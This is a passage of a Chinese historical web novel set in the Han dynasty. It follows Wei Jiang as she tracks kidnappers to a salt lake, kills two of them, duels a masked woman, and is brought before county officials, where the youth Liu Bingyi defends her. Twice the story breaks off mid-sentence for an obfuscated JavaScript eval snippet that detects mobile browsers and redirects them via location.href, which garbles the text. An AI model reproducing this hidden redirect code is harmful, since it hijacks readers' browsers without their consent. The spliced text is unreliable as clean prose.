“诶,小娘子,且等我儿回来……”白猎头见她这便欲走,刚要再劝,忽听卫绛含着哨子打出一声响亮的唿哨,吃了一惊。 卫绛扬天眺望,似是在寻找甚么。又连连打了三声唿哨,黄昏天边的山影上空出现了一个徘徊的小黑点,似是在召唤她前去。 这是……鹰哨?白猎头戍边时,曾见识过西域胡族人驯鹰,他们的鹰哨能向鹰传达相当清晰的信息,驯鹰驯得好的,人与鹰甚至能打配合完成狩猎。 “恩公,等不得了,这便告辞。”卫绛丝毫不犹豫,飞身跃过篱笆,以惊人的速度沿着田埂阡陌向山林中奔去。 “这小娘子可了不得!”老妪惊叹道。 “可不是嘛,一般的儿郎都比不得她哩。这世上真是无奇不有,可惜是个胡族女子,若是个汉家儿郎,怕不是卫霍再现……”白猎头道。 “休得胡说!祸从口出。”老妪吓了一跳,忙阻止他胡言。 “哼,怕甚么。我当年可是跟着卫将军打仗的,卫大将军是何为人,天下谁人不知?那祸事都过去了,何苦这般担惊受怕。” “莫吹了,你从军时,卫大将军都不带兵了。”老妪拆台道。 “嘿!你这老婆子。”白猎头急了,却见老妪转身入了屋去,轻飘飘丢下一句: “老婆子去看顾病人了,晚食在锅里,你爱吃不吃。” 10. 第十章 残阳西落,卫绛奔走在逐渐黑沉的土道之上,脚下车辙印凹凸不平,却丝毫未曾阻滞她的脚步。 天山在头顶盘旋,一路指引方向,卫绛的眸光逐渐适应黑暗。她还是狼孩儿时,就惯于在夜色之中行动,她虽不是狼,视觉、听觉、嗅觉却皆如狼一般敏锐,且她经受过卓罗的专门训练,曾于夜里精准找到了卓罗藏于大漠之中的标识。 这汉地民间要寻马匹实在困难,驴、骡还不如她自己跑得快,卫绛没有费劲儿去找代步的牲畜,只以自己霸道的体能摸黑追踪。 她大致判断自己正朝着东北方向前进,三辅地区地势相对平坦,山峦不多,太乙山往北基本见不到多少山头,都是大平原,连片的田园阡陌,丰饶富庶。 她估摸着自己跑了半个时辰,发髻都跑散了。实在是跑不动了,看到道边田里有种白瓜(冬瓜)的,便下到田里摘了一个瓜来,敲开后胡乱吃了解渴。 在道旁歇了一会儿,金雕一直在上空盘旋等待,显然还未到目的地。卫绛从道旁树上折下一根树枝,学着汉地男子,将长发盘起束在头顶,以树枝簪住,又撕了一根布条一圈圈缠裹固定好。等不到体能全面恢复,便继续出发。长这么大以来,她还是头一回这般纯靠自身体能长途奔袭,正好试一试自己的极限在何处。 她估算,那伙人即便有车马代步,这短时间内也走不出太远。只要她追赶及时,当能撵上他们的尾巴。且夜里行路困难,他们估计也不会走得太远,恐怕就藏身在附近。 但她仍然担心慕沙安危,慕沙于这伙匪徒而言全无利用价值,带着走反倒是累赘,她就怕他们对慕沙下了杀手,那就万事休矣。 果不出她所料,又跑了约莫半个时辰,金雕突然踅向下来,落在了一株苍翠的柏树顶端。这柏树的远处,一片墙垣圈起的屋舍聚落在晦暗夜幕之中散发出荧荧光点。屋舍围绕着一片池水而建,这池水散发出一股咸味,内里有白色颗粒析出。 卫绛认出来这是卤泊,她与阿母、慕沙途径陇西时,曾见识过晒盐、运盐的壮阔场面。 那伙人居然到了卤泊?难道是盐工或盐商?卫绛满心疑问,也顾不得太多,背弓提刀,小心摸了进去。 月上中天,盐工早就歇下了,他们集中睡在卤泊旁的屋舍之中,一张大通铺睡了一溜人,卫绛小心开窗往里看,未见可疑人物,倒是被这些盐工身上的酸臭味熏得关窗逃遁。 一连开了好几扇窗,卫绛都没找到目标人物。不过她在屋舍边缘的马厩里找到了自己三人的马匹,马上的驮包已经被卸下来不知去向。 找到了马,卫绛确认自己没有找错地方。眼下就剩一个地方还未查看,就在卤泊中央,立着一幢二层吊脚楼,南面有一条栈道通往那里。这吊脚楼东西北三个方向延伸出三条栈桥,可如城门吊桥一般起落,卫绛推测是盐工作业时减少搬运盐袋的往来此处而设置的机关桥。 吊脚楼内二层散发出莹莹灯火,那匪徒似是还未入睡。但一层却黑灯瞎火,全无动静, 卫绛悄然登上栈道,她没有快跑,避免踩踏栈板发出太大声响。悄然抵达楼下,她照例摸到了窗边,想要掀开窗,却发现窗楔住了。她干脆捅破窗户纸,向内探看。 她绝佳的夜视力洞穿了黑暗,看到一个人影坐于席上,身子倚着凭几,一动不动,悄然无声。他似是睡着了,又好像只是在静息养神。单从轮廓判断,此人身形魁梧,手边还放着一把长刀。 就在他身侧,倒卧着一个人,从此人不自然的姿态判断,她是被绳索束缚着的。就在倒卧之人的背后不远处,还堆放着好几个驮包,卫绛几乎一眼就认出,那都是自家的驮包,倒卧被缚之人必然是慕沙。 确认人无大碍,卫绛心下稍安。接下来,就是要想办法在保全慕沙不受伤的前提下救人。 她仔细分辨了一下二层传来的声响,楼上似是有两个人在说话,这两个人警觉心极高,即便四周无人,他们说话声也相当微弱。卫绛听不大清楚,楼梯在一层内,她暂时进不去,怕惊动那个倚着凭几的魁梧男子。 她仔细观察了这座吊脚楼,这楼看上去有些年久失修,常年受到卤泊腐蚀,脚下木板薄而软,很不牢固。一层檐椽很是细薄,只草草铺了茅草,不大能承载一个人的体重。因此就算她想攀到出檐之上窃听或偷袭,也不可行。 看来只有在不惊动二层人的情况下,先解决一层那个魁梧男子了。 卫绛后撤几步,张弓搭箭,隔着牖窗瞄准了屋内那个男子所在的位置,平抑呼吸。她本不想杀人,因而只瞄准了那男子的右臂,打算打中其右臂后,破门而入抢人。 就在此时,忽闻二楼爆发争吵,一人高声道:“你听到没有!?我让你杀了那胡女!留着她是隐患!” 另一人不以为然,也拔高了音调回道:“杀了作甚,你可知那胡女身上有多大的买卖?” “能有多大买卖?你忘了我们出来干甚么的了?完事了就赶紧回去,你却在这节外生枝。” “呵呵,我节外生枝?你真以为我们这回出来只是为了绞杀太一玄坛?你可识得这简牍上写了甚?哦,你不识字,哈哈哈哈……”这人嘲笑出声。 “我管这简牍上写了甚么,与我们有何干系?赶紧杀了埋了,否则后患无穷。” “你这浑人,这胡女杀不得,她知道一些重要情报,得从她口里问出来才是。留着她做饵,还能钓大鱼!” 卫绛仔细听,这个说要做饵钓鱼的人,声音很陌生,透着股狡狯圆滑的意味。另一个与他意见相左之人的声音倒是颇为熟悉,很像是那个在太乙宫门口与她们交谈之人,声音阴恻恻的。 此时的她已然起了杀心,自己三人从西域远道而来,甚么事都还未做,却成了他们眼中的待宰羔羊,无缘无故被坑害。阿母教过她,杀人者,人恒杀之。这伙人在她心里已有取死之道。 她将箭矢移动几寸,瞄准了吊脚楼一层内魁梧男子的头颅。拉了满弓后毫无犹豫地放箭,箭矢呼啸而出,破窗入屋,摧枯拉朽地击穿了那魁梧男子的头颅,将其钉死在原地。 这一箭动静不小,楼上人果然大惊。他们反应倒是极快,没有往楼梯跑,而是从二楼直接破窗跳出。 此时的卫绛已然闯入一楼,先奔到慕沙身边,慕沙正处在昏迷之中,卫绛探了探她的鼻息,虽然还活着,但气若游丝,状态不大对。她用匕首割断绑缚她的绳索,大力摇晃了她几下,一边呼唤她,一边将从白猎头那里带来的环首刀和弓箭留给慕沙。 来不及做更多处置,她奔到驮包旁,取出了自己的环首刀和弓箭,又翻了一下包袱,发现那存放父亲青锋剑、金乌佩和诀别书的剑匣果然不见了。 她大急,三步并作两步奔上二层,二层简单铺了席面,其上放置着两卷铺盖,油灯打翻在地已然熄灭。除此之外,不见任何多余事物。 她奔到窗边,远见那两个人已然放下东面的吊桥,从吊桥向东方逃遁。 月光将那二人的身影照得很清楚。她张弓搭箭,瞄准那背着毡布包逃遁之人,预瞄后满弓放箭,强弓将箭矢推出惊人的长距,破空而出,呼啸着精准扎进那人后心。那人应声倒在桥面上,毡布包飞出,落在他摔倒前方,惨嚎响彻整座卤泊。 另一人见同伴中箭,连忙从吊桥上跳进了卤泊里,躲到了吊桥下方逃遁。 卫绛见状,当即从二楼跳下,她收起弓箭,腰间环首刀“唰”地出鞘,提刀以惊人的速度奔袭向那正躲在吊桥下逃遁之人。 未曾想奔到半途,忽感后方袭来暗箭,卫绛当即前滚躲开,转胯拧身、箭步架刀于眉前,望向身后。 身后立着一个包裹在夜行黑衣之中的人,周身上下只露出一双眼睛。此人據着一把弩机,其上有银箭上弦,正瞄着卫绛,只要她有一丝异动,对方就会放箭。 卫绛怒意上涌,她认出那银箭,分明就是此人打出箭矢伤到了阿母。现在又拦着她,是何居心? “你是甚么人,跟他们一伙的?”卫绛冷声问。 “我要说不是,你信吗?”对方似笑非笑回道,声音沙哑,像是故意憋着嗓子说话。但这声音分明是女声,卫绛也看出来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554040|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这黑衣人身材娇小,身段婀娜,确实是女儿身。 “我与你无冤无仇,你为何杀我阿母?”卫绛怒道。 “诶……你果然不信。不论你信不信,那箭不是我打的。”对方似是很无奈地回道。 “不是你打的?”卫绛拔出方才擦着她耳边掠过,扎进吊桥桥面的银箭,放在眼前仔细瞧了瞧,银质螺纹,与伤了阿母的箭分毫无差,当即大怒,“这箭就是铁证!还狡辩!” “不是就不是,算了……与你说不清!总之,你已经杀了两个了,还剩一个再不能杀了。”黑衣女子道。 “好不讲理之人!你说你与他们不是一伙的,却处处帮着他们,前后矛盾,还想愚弄我,简直可恶!” 卫绛说着提刀前冲,那黑衣女子见状连忙又瞄准卫绛的腿打出一箭。卫绛早有准备,刀背自腿前闪电般上扬,将箭弹飞,顺势缠头裹脑,锋刃旋斩向那黑衣女子面门。她动作大开大合,迅猛无比,几步间转瞬拉近了与那女子之间的距离。 黑衣女吃惊后仰躲避,刀锋擦着她头顶的黑巾掠过,强大的劲风将她的黑巾卷飞,骇人的锐气惊得那黑衣女拧身就跑,不敢多缠斗。她行动极其敏捷,兔起鹘落间,已与卫绛拉开距离。 卫绛哪肯放过她,发足狂奔,紧追不舍。 这卤泊中央小楼台,哪有那么多腾挪余地。那女子刚逃出几步,就抵达了西侧边沿,她似是不愿下盐湖,犹豫间,卫绛的刀已然从后斩来,她忙侧身腾空躲避,空翻上栏,踩着细窄的栏杆转向南侧奔逃,平衡能力惊人。 一边逃,她还一边大喊冤枉:“喂!都说不是我啊!你找错人了!我不让你杀他们,是因为我得从他们嘴里问话,你杀了他们,我的线索就断了!喂!你真杀我啊?” “还狡辩!”卫绛咬牙切齿。 说话间,黑衣女子在栏杆上连番跳脚,躲开卫绛的来回横砍。卫绛的刀舞得又快又猛,沾着一点就得筋断骨裂,那女子自知力道远远不如,根本不敢正面硬抗。而卫绛追击的速度极为迅猛,耐力深厚,饶是黑衣女行动比卫绛敏捷,长久消耗必然也得落下风。当下她连上弓弩的工夫都没有,只能疲于奔命。 “我说胡人,你能听懂我说话吗?”黑衣女子无奈大叫,强压的沙哑嗓音变得尖利,逐渐现出本来音色。 她几下腾跃,攀到了立起的西面吊桥之上。此时她发簪不知何时掉了,发丝已然全部散落,垂在腰臀间,面上的黒巾倒还捂得严实,未曾露出真容。 她散开的发丝有幽幽的香味散出,这气味很淡,换了一般人恐怕难以分辨,但卫绛嗅觉异常灵敏,这特殊的香味让她微微分神。但此时她正在气头上,没太多心思去关心女子身上的香味。 她没那女子的攀援轻功,爬不上去,只得挥刀斩向拴住吊桥的绳索。 “汉人太狡猾,说的话一个字也不能信!”卫绛怒道。 “你不信汉人,凡语还说得那么好?”黑衣女子谑笑道。 卫绛不理她,砍断一端绳索,又去劈砍另一端栓吊桥的绳索。那黑衣女子继续道:“我再讲一遍,你阿母不是我伤的,我和他们的弩箭同出一源,自然相像。” “狡辩!”卫绛一刀斩断吊桥最后的束缚,吊桥吱嘎向下倒去,那攀附在桥面上的黑衣女子也随着坠下去。 她倒是不慌不忙,对卫绛摇了摇手,像是道别。 卫绛踏上吊桥欲追,那黑衣女子却突然抛了个东西给卫绛:“你那个同伴中了迷毒,这个可解毒。这还能解你阿母的蛇毒。” 卫绛下意识抬手接住,发现是个小木瓶,口子上塞着软木塞。她这一晃神间,再去瞧吊桥远端,那黑衣女子竟像是变戏法似的不见了。 卫绛一愣,忙上前查看。不论是吊桥上还是下方,都不见人影,莫不是潜入卤泊中去了?这黑衣女子,来如影、去如烟,到底何方神圣? 她们这里的争斗惊动了附近屋舍内的盐工,屋舍内纷纷亮起灯火,已有人打着行灯来查看情况了。 卫绛自知今夜抓不住那女子了,收刀回返,收拾残局。 11. 第十一章 卫绛快速奔向东侧吊桥,那被她一箭射死的人依旧倒伏在原地,早已断气。她赶到近前,用脚背将其翻过身,一瞧面庞,果真是那假装太乙宫门人的男子,一双黑洞无神的双眼已然散了光,死不瞑目,生前惊惧的神情还定格在面庞上。 卫绛心中有些不大舒服,这是她第一次杀人。但这不舒服一闪而过,她丝毫未觉得有甚么不应该。她曾随着狼生活过一年,后又长期在大漠之上打猎,见惯生死,也早就习惯了杀戮,只是她的猎物从兽变作了人罢了。 卫绛转而去寻那包裹着剑匣的毡布包,可那毡布包却不见踪影了。她疑惑,方才分明瞧见这人摔倒时,毡布包落在他跟前。 她旋即发现了吊桥旁有水渍,有手印也有脚印,显然是那个躲到下方卤泊里的同伙爬了上来,取走了毡布包。 她猛然起身,环顾四周,哪还能看到人影?除了南面一群提着行灯的盐工急匆匆往她这里来了,再也见不到任何人。 “哎!”卫绛懊恼地狠狠一跺脚,震得吊桥上下剧烈摇晃。 父亲的剑匣被窃走了,剑、玉也就罢了,那卷诀别书,乃是父亲生前在狱中手书,若是被人拿来做文章,该如何是好? 何况那可是她们回长安城的信物啊,她该如何向阿母交代?早知如此,她就该唤天山过来,分两头堵截才是。 她还是作战经验太浅,又太急躁了。事已至此,懊悔也无用处,只能想办法尽量补救,尽快寻到丢失的剑匣。 她先将那黑衣女子留下的银箭扎进后腰腰带中,仔细瞧了瞧这个男子的面容。此人长相有点怪,尤其是额头鼓起一块,像是长了个犄角,被他用头巾裹了好几层盖住,可面容仍然因此形变,加之死前神情惊惧,瞧着就更扭曲可怖了。 心里的不适感再次被唤起放大,她抬手掐了掐鼻翼,将这不适感强压下去,又去摸了摸这个死去男人的衣袋袖囊,从他腰间摸出一个布囊,内里存着一块半边缺口的木牌。其上写着【射声箭师刘彧】。 这人居然是射声校尉里的箭师?这可是北军中最熟悉弩箭的军官了,颇有地位。但这牌子也不能说一定就是他的,也许是这贼人盗取的也说不定。 除了这块牌子,这人身上再无其他物什。卫绛将这块牌子收进自己的革袋,沿着吊桥往回走。她迎着那群赶来的盐工,步伐不急不忙。 “你是甚么人?!”盐工见她身上负弓带刀,长得又高大强健,半边身子被殷红的血液浸染,颇为忌惮。本还以为是甚么凶神恶煞的歹徒,靠近打灯一瞧,发现竟然是个面白俊俏的胡人女子,身上衣着半汉半胡,不伦不类,登时纷纷愣住。 “我并无恶意,只是追歹人至此,不想与你们为难。你们让开。”卫绛淡淡道。 这群盐工并不肯让,为首一人道:“你在这行凶,怎能让你就此脱身,不然,按律我等也得连坐。” 卫绛拔刀,高声断喝:“让开!” 她这一声犹如虎啸龙吟,众盐工被她身上杀气所慑,加之手中暂时没有趁手武器可以对付,谁也不敢第一个动手,终于开始后退。卫绛逼得他们从吊桥退回到楼台边沿,望了望已然泛起鱼肚白的天际,又打量眼前这一群衣衫褴褛,面现惧色的盐工,她轻叹一声,收了刀道: “你们报官罢,我不走,就在这里等官差来。人是我杀的,我一人做事一人当,不连累你们。” 言罢,推门进入吊脚楼一层,在仍然昏迷的慕沙身边席地跽坐,卸下弓刀放在手边,闭目养神。她今日自午后颗粒未进,连夜奔袭六十里,又连番作战,当下实在疲惫至极,没甚么力气再斗了。 她没急着给慕沙喂那黑衣女子给的药,她并不信那黑衣女子,怕那药有问题。慕沙当下无生命危险,暂不急着救治。 盐工们小心围在屋外,望着内里端坐的卫绛,皆又忌又敬,一时不敢打搅。 …… 两个时辰后,辰中时分,一早就接到报官的杜县县尉周长懋率麾下游徼六人,乡里亭卒八人,匆匆赶赴卤泊。 彼时卤泊四周已然挤满了盐工与看热闹的附近乡民,周长懋不耐烦地让亭卒辟处道路,一路进入卤泊内部。卤泊的匠头早就候在此处,见他来了,立刻带着他去看杀人现场。他们先去了吊桥上,见到了那被卫绛一箭射死的尸首。 “嘶……好射术。”周长懋盯着眼前尸首的面庞嘀咕道,随即询问身旁的匠头,“此人是谁,头生犄角,长得颇为怪异,你可识得?” “他名叫刘彧,是淮东的盐商,大约一年前,县丞安排他来我们这里采盐,大约三月一次往返,每次来就住在卤泊中央的吊脚楼内。”匠头回道。 “他就一个人来?” “非也,他一行共三人,还有一位王姓盐商,当下不知所踪。他们还带了一位扈从,死在了吊脚楼一层,也是被那胡女所杀。”匠头道。 “怪了,我怎未听说县丞安排了淮东盐商来采盐,这跨区贩盐,不合规矩呀。就算有特许,淮东本就产海盐,何苦从关中长途贩回去,这还能有几分干利。”周长懋捏着短硬的胡茬,百思不得其解。 匠头干笑了一下,揖手道:“盐卤皆为盐官调配贩运,小人哪里能知晓上头的想法,只管遵命办事。“ 周长懋意味深长地哼了一声,道:“走,去吊脚楼内看看去。” 他大阔步走到吊脚楼门口,一步跨入,就吃了一惊。眼前一位高大健壮的胡人女子正跽坐于席,面貌俏丽,虽是一身不伦不类的粗布下等打扮,却丝毫遮掩不了她的光华。 周长懋一进来,女子就睁开眼来。她双目开阖间有寒芒,碧绿的瞳眸冷冷盯住了周长懋,让周长懋后枕莫名一麻。 周长懋的眸光忙从她身上转开,看向一旁头部中箭而亡的扈从,这扈从五大三粗,但死状着实惨烈,让周长懋心中一寒。 他命手底下人将扈从尸首搬运出去,随即定了定神,转而向卫绛问道: “你…你姓甚名谁,籍贯何处?” “卓孺狼,西域楼兰人。”卫绛言简意赅地答道。 “楼兰人?你为何会在此?为何杀人?”周长懋蹙眉问道。 “我随母亲、阿姊入汉,是为寻医访药。历经艰辛才抵达长安三辅,上太乙宫拜谒时,遭遇歹徒袭击,我阿姊被掳走,马匹行李亦被抢走。阿母受弩箭所伤,我在山下村落安顿好阿母后,便一路追索歹徒至此,杀死两人,两人逃遁。我为不连累此地盐工,坐等至当下,才等到您来。”卫绛应道。 她这番话说得条理清晰,言简意赅,末了还抱怨周长懋来迟了,倒是让周长懋一时不知该说甚么才好。 “等会儿,这不对,你说两人逃遁了?你杀死之人乃是淮东盐商,一行只有三人,哪来的第四个人?”周长懋立刻抓住了卫绛话里的矛盾之处。 “还有一个黑衣女子,不知样貌,与我缠斗,使我追击不及,才导致一人逃遁。后来那黑衣女子也不见踪迹了。”卫绛解释道。 周长懋糊涂了:“黑衣女子?还有个黑衣女子?”她看向身边的匠头,匠头连忙摆手,道: “没有女子,哪来的女子,就是三个人。” “这就是那黑衣女子所使弩箭,银制螺纹,很有特点。”卫绛早将弩箭摆在身前,当下指认道。 匠头道:“单是一支弩箭,怎能证明那黑衣女子存在?莫不是你拿出来糊弄人的。” 卫绛未曾开口辩解,她知晓辩解也无用。周长懋思索了片刻道:“你既是楼兰人,且将你的符传、过所与我勘验。” 卫绛早从驮包中将符传过所取出,存在袖中。当下递给周长懋,周长懋一瞧,登时蹙眉道: “这是一年半之前的敦煌过所,你怎会到关中的?这一路上未曾过关入城?” “未曾,我三人行于乡野,避开城池不入。”卫绛老实承认。 “你是怎么过萧关、大散关的?”周长懋奇道。 “绕过去。”卫绛惜字如金。 周长懋眉毛一挑,绕过去可谈何容易,这女子不简单。他道:“那可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554041|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是犯法了,你三人是外籍流民,擅入我大汉腹地,按律当钳颈送去边郡垦荒,终身不得再入关。且你还犯了杀人罪,该当弃市。你且与我回县衙去罢。” 县尉此言一出,卫绛还未有甚么反应,外间倒是吵嚷开来,原是一大群盐工正围在外面看热闹。 有个盐工道:“这女子倒也无辜,她确实为救人,她身边那晕厥女子,我等不曾见过,实不知是何时到这儿的。应当确实是那淮东盐商挟来,瞧她昏迷至今不曾动弹一下,怕不是命悬一线,真是可怜。” 另有一人附和道:“就是啊,这胡女未曾伤及我等,只是寻劫匪复仇,按律……不当死罢。” “去去去!你们懂甚么,莫要围在此处!”周长懋开始赶人。他出身贫寒,起于乡野,与这些本地盐工都很熟悉,甚至其中不少人和他是发小。他平日里没甚么官威,虽然做了官,却仍然与乡里亲厚,因此盐工们倒也不怎么怕他。 有一年长盐工嬉皮笑脸道: “周长毛,红口白牙你可莫要乱断案,那是县令的权。” “我怎的乱断案了?是你懂律法,还是我懂律法?你是县尉还是我是县尉啊?”周长懋真的恼了,气得满面通红,命手下的游徼轰人。 “诶,我是不懂律法,但有人懂啊。病已小兄弟,我说的可对?”盐工向身后问道。 众盐工让开身子,一位清俊青年从人群中挤了出来。他年纪不过十五六,还未彻底长成,身量不太高,身形瘦削,粗麻短褐,打扮与盐工无异,就是比盐工要周正洁净许多。软须初生,五官端方,颇为俊逸。 他自人群中走出,笑盈盈向周长懋揖手,用还处在变声中的沉哑嗓音道: “周县尉确然断错案了,且这位娘子所言不虚,我确实亲眼见到一个黑衣人与她对战。” “哎呀……病已老弟,你怎的又到卤泊来了?你让我怎么和张掖廷交代?”周长懋见到他,顿时一阵头疼。 病已不答此话,反朗声道:“律法规定:匪无故入人室宅庐舍,其时格杀之,无罪。敢问县尉,半道遭劫杀后追击救人而杀匪,可在此律所述范围?” “这……”周长懋被难住。 卫绛向这名叫病已的青年投去讶然目光。 病已又道:“替亲复仇,此乃孝之本,当减刑。杀人者自首投案,未曾伤害无辜者,也当减刑,累加后,顶多判完为城旦,黔面作舂,怎能是弃市之罪呢?” 周长懋尴尬一笑,道:“病已小兄弟,不论如何,此胡女已触犯汉律,我身为县尉,自当缉捕。” “县尉但捕无妨,升堂时,我请替她辩护。”病已笑道。 “那人不是甚么淮东盐商,而是射声校尉中的箭师。这是我从他身上搜到的,可作为凭证。此人冒充盐商,在太乙宫中行不轨之事,被我与阿母撞破,因而起了灭口之心。我若杀的是盗匪,可还有罪?”卫绛突然开口,并取出那半枚木牌,放置在身前的席面上。 病已双眼一亮,忙上前一步,拿起那席面上的木牌查看,片刻后,他将木牌递给周长懋,道:“这军牌不似作假,持有者多半是叛军之人。刘彧此名,我似是在京兆府通缉令上见过,县尉当即刻核实。若当真是那淮东盐商,这楼兰娘子不仅未曾犯罪,反而是立了大功呢。” 周长懋闻言,揖手道:“多谢病已兄弟提醒。你既然亲眼目睹那黑衣人,算是证人,接下来可否随我去一趟县衙面见县令,代为陈情?” “理当同去。”病已爽快答道。 周长懋又对卫绛道:“你还是得随我们走一趟县衙,厘清事实,待县令明断,方可得释。” 卫绛淡淡道:“要审便快审,我阿姊还需救治。” 周长懋被卫绛呛了一跟头,面现不悦,他招呼手下人缴了卫绛的马匹行李,将两具尸首装车,又很不讲究地将昏迷的慕沙和尸首放在一起。卫绛大为不满,抗议不走。还是病已问卤泊借了一辆辘轳车,由卫绛亲自推着,游徼、亭卒在旁持刀押解,一路往杜县县衙而去。 12. 第十二章 这一路约莫要走二十里地,卫绛的三匹马让周长懋和病已骑了两匹,剩下的一匹和周长懋来时骑的驴,让手下的游徼骑了。 其余人没得骑,但因着是轻装上路,倒也健步如飞。 病已频频回头,见卫绛推着辘轳车步履轻快,丝毫不见疲颓之态,顿时来了兴致。 他故意控马来到卫绛身边,搭话道: “卓娘子好体魄、好胆识。昨夜我在卤泊庐舍内被响动惊醒,于窗边见到你作战风采,实在令人钦佩。” 卫绛本不想搭理这些汉人,但有感于他方才替自己辩护,于是道:“多谢郎君为我辩白,否则我实难洗清罪过。“ “娘子不必多礼,我只是不愿任何人蒙冤。能出手相帮,我必不犹豫。”病已道。 卫绛觉得此人十分特别,好奇问道:“郎君贵姓?该如何称呼?” “我姓刘,刘病已。年十六,尚未弱冠,因而无字,你与大家一同唤我名即可。”刘病已笑道。 “我也年十六,几月生?”卫绛听闻他与自己同岁,一时多了几分亲切感。 “正月里生。”刘病已眸光中闪过一丝晦暗。 “我是九月生,兄年长我数月。” “未曾想今日竟识得一位同年生的楼兰阿妹,此乃天缘。”刘病已欣悦道。 “病已兄瞧着不是那卤泊盐工?怎会在此?”卫绛好奇问。 刘病已闻言解释道:“我闲人一个,常游历长安三辅,近些时日,对盐运颇感兴趣,因而就近到这杜县卤泊,与盐工同吃同住,了解制盐、贩盐之详实。” 卫绛问:“我见你对律法知之颇深,莫非是律学博士?” “哈哈哈,非也非也。”刘病已大笑,“我真是闲人一个,无官无职,亦未就学,我所学皆我所见而已。卓娘子对我大汉律法、北军官制倒是颇有了解,莫非专门学过?” “阿母所教,因而习得,也只是粗通皮毛。”卫绛道。 “令堂是楼兰人?” “乌孙人,流落至楼兰定居,但我亡父为汉人。” “怪不得,我见卓娘子面容颇有汉人的影子。”刘病已恍然道,“乌孙,可真是遥远,难得你阿母竟会来汉地,与汉人成婚。诶……想我大汉细君、解忧两位公主远嫁乌孙,也不知她们在那儿过得是否习惯。” 卫绛想起母亲的宏愿,一时沉默。 片刻后,二人又聊了起来,从西域风貌谈到汉匈局势,二十里路竟不知不觉间走完。卫绛年纪不大,却已然走遍西域,对西域各国风俗如数家珍。刘病已言谈疏朗,乐天达观,谈论盐业贩卖,时有犀利洞见。他虽对卫绛很好奇,但却并不多探听,点到即止。卫绛本是个不爱说话的性子,但与他交谈,却感到如沐春风。 这一路上,周遭的游徼、亭卒,包括前方的县尉周长懋,皆默然倾听他们交谈,并不插话,好似一群听讲的学生般,时而频频点头,时而若有所思。卫绛觉得很有意思,这群官差似是将刘病已当成师长一般尊重,尽管这位师长比他们要年轻太多。 待入了县城,行至县衙门口,周长懋作出安排。他将慕沙安置在县衙偏房之中,派了一人去寻本县的医家来给慕沙看诊。然后将卫绛、刘病已带至堂上。 彼时杜县县令郑遨正在堂后的公署内办公,听闻传报立刻出来,听取案情。县令一身皂色衬青边深衣,戴一梁进贤冠,腰悬鞶囊,内装官印,印钮上系着的玄色绶带垂挂在外,边缘缝青、赤、绀三色细边。打扮与县尉周长懋几无二致。但郑县令年约四旬,细眸长须,颇有几分仙家姿态。相比之下,佩刀的周长懋则显得更为粗犷。 周长懋将事情的来龙去脉讲得清晰,刘病已在旁补充,并替卫绛作证。郑县令听得很专注,偶尔提几个问题,大多时候都不言语,神情庄重。 周长懋将现场证物——黑衣女子银弩箭、刘彧军牌、卫绛使用的弓箭和刀等,并死去的两具尸首一一呈堂,让郑遨过目。 郑遨仔细端详,眸光在银箭和刘彧的面容上停留了很久。他命一旁书吏取来一块通缉木板画像,与刘彧作比对。画像笔法略显拙劣,实在有些难以和真人对上,但其下标注了此人佩戴饕餮墨玉扳指,这扳指是配合射声校尉新研发的弩机上弦使用的,只有高阶军官才有。 刘彧的手指上确然佩戴了一枚饕餮扳指,虽不见他身上有弩机,现场也未曾搜出,但基本可以下判断,此人确实是射声校尉叛出的军官。 此外,那扈从也很快验明正身。郑县令认出此人是霸陵邑的在逃犯,原本是屠户,姓张,家中有一位兄长从军,他跟着兄长习练了一身军中功夫。他的罪过是杀害邻居。他的邻居是漕吏,据说起因是这漕吏侵占了张屠户家的房地。 郑遨起身,看向刘病已,道:“盩厔县今晨刚送来的凶案协报,太乙宫发生命案,宫内门人皆中迷药晕厥,三名护宫力士被杀,道祖涂山翁失踪。这可是大案,近两月来,三辅地区不太平,屡次出现针对术士的刺杀劫掠。小郎君,你可莫要在外乱跑,很是危险。” 郑遨口中的“小郎君”,指的自然是刘病已。卫绛有些奇怪地看了一眼刘病已,此人看着衣着寒酸,却似乎地位很高,连县令都对他相当客气,且这上上下下都认识他。 这人到底是谁? “我不是术士,当不会有事。劳郑县令挂怀,是我的不是。”刘病已道。 “歹人横行,哪还分甚么术士平民,小郎君血脉金贵,还是自重为上。”周长懋劝道。 “病已惶恐,即如此,便遵二位教诲,今日便回掖庭。”刘病已倒也未曾进一步争辩,让步道。 血脉金贵?回掖庭?姓刘……莫非是宗室子弟?可宗室子怎会住在掖庭里,莫非是罪王的后人?卫绛暗暗猜测。 得到他的答复,郑县令终于将眸光投在卫绛身上,道: “卓孺狼,你虽杀人,但杀死二人均为逃犯,功过相抵,可定你无罪。但你母女三人擅入汉境,这可不能不计较。按律当羁押尔等,待刑名核定,发配边郡屯垦……” 刘病已忙开口道:“不若让她母女三人落籍西市,掖庭正缺采办搬运人手,她们当可充任。” 郑县令笑了,道:“那可不归我管,此事我今日便会上报鸿胪寺。你得先过鸿胪寺那一关,再说服掖庭与西市市令,我这才能放人。” 刘病已一时为难,卫绛则开口问道:“若我戴罪立功,可否赎罪,让我母女三人登簿落籍?” “哦?你想怎么赎罪?”郑县令捻须,好奇问道。 “我擅索迹追缉,可助县令缉捕盗匪。”卫绛揖手道。 “哈哈哈,小娘子,你可想好了。缉捕若无果,罪加一等。”郑县令道。 “请县令给期限。”卫绛果决道。 